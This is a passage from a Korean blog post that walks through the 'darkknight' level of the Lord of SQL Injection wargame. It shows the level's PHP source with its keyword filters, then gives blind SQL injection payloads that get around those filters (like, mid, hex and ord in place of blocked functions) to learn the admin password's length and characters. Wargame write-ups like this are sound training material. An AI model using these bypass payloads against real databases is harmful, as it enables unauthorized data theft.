본문 바로가기
war game/웹 워게임(los)

load of sql injection darkknight

by 강깅꽁 2016. 9. 14.
반응형

<?php 
  
include "../config.php"
  
login_chk(); 
  
dbconnect(); 
  if(
preg_match('/prob|_|\.|\(\)/i'$_GET[no])) exit("No Hack ~_~"); 
  if(
preg_match('/\'/i'$_GET[pw])) exit("HeHe"); 
  if(
preg_match('/\'|substr|ascii|=/i'$_GET[no])) exit("HeHe"); 
  
$query "select id from prob_darkknight where id='guest' and pw='{$_GET[pw]}' and no={$_GET[no]}"
  echo 
"<hr>query : <strong>{$query}</strong><hr><br>"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if(
$result['id']) echo "<h2>Hello {$result[id]}</h2>"
   
  
$_GET[pw] = addslashes($_GET[pw]); 
  
$query "select pw from prob_darkknight where id='admin' and pw='{$_GET[pw]}'"
  
$result = @mysql_fetch_array(mysql_query($query)); 
  if((
$result['pw']) && ($result['pw'] == $_GET['pw'])) solve("darkknight"); 
  
highlight_file(__FILE__); 
?>


소스코드 분석

pw에서는 '만 no에서는 '과 substr,ascii등이 막혀 있다.

이것도 필터를 우회해서 blind_sql을 진행해야 한다.


풀이

우선 no=1 || length(pw) > 1 && no like 2구문을 통해 비밀번호의 길이가 1이상이고 admin의 no가 2인 것을 확인했다.

그럼 페이로드를 짤떄 id='admin'을 통해 admin의 비밀번호를 찾아내는 것 대신

no=2로 admin임을 확인할 수 있다.

no like 2 대신 ord(id)-103을 이용할 수 도 있다. ord==ascii 


따라서 페이로드는

no=1 || length(pw)>1 && no like 2 구문으로 비밀번호의 길이를 알아 보고

no=1 || no like 2 && hex(mid(pw,1,1)) > 10 을 통해서 비밀번호를 유추 할 수 있다.